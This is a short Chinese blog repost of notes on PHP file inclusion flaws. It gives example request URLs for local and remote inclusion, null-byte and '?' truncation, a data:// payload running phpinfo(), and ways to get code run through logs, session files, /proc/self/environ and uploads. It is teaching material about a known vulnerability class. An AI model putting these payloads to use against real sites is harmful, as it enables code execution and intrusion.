• php 文件包含笔记(转)


    php 中可以通过include()、require()、include_once()、require_once() 函数包含文件,被包含的文件无论类型都会被执行。 当allow_url_include 配置为on 时,则允许包含远程文件,反之为off 时则只允许包含本地文件。另外一个比较关键的配置为open_basedir,这个选项限定了可以包含的目录。

    1、代码示例:

    本地文件:192.168.1.8/test.php?test=a.jpg

    远程文件:192.168.1.8/test.php?http://www.chuhades.com/index.php

    2、截断

    可以通过截断来突破一些字符拼接。 代码:

    这个代码如果你直接192.168.1.8/test.php?test=a.jpg,实际包含的是“a.jpgabcd”,文件不存在,会出错。

    因为php 的内核是c 实现的,所以可以通过0 字节进行字符串截断。

    192.168.1.8/test.php?test=a.jpg%00

    包含远程文件时也可以通过“?”把后面的代码解释为URL 的参数,加以截断。

    3、本地文件包含的利用技巧

    (1)包含用户上传的文件。 (2)包含data:// 或php://input 等伪协议。 http://192.168.1.8/test.php?test=data:text/plain,<?php phpinfo();?>%00 (3)包含Session 文件。 (4)包含日志文件,比如web server 的 error_log、access_log。 一般步骤:httpd.conf —-> log (5)包含/proc/self/environ 文件。 在user-agent 中注入php 代码。 (6)包含上传的临时文件。

    http://www.exploit-db.com/download_pdf/17010

    (7)包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等。

    4、其他函数 fopen() fread() ……

    5、实例

    http://www.wooyun.org/bug.php?action=list&subtype=49

    http://www.wooyun.org/bug.php?action=list&subtype=15

  • 相关阅读:
    剑指Offer 30 包含min函数的栈
    剑指Offer 29 顺时针打印矩阵
    剑指Offer 27 二叉树的镜像
    13张动图助你彻底看懂马尔科夫链、PCA和条件概率!
    一位ML工程师构建深度神经网络的实用技巧
    IBM沃森会成为第一个被抛弃的AI技术吗?
    中国最强AI超级服务器问世,每秒提供AI计算2000万亿次
    SAP WM 有无保存WM Level历史库存的Table?
    SAP MM 按采购订单查询付款信息的报表?
    机器学习项目失败的9个原因
  • 原文地址:https://www.cnblogs.com/demonspider/p/2949906.html
Copyright © 2020-2023  润新知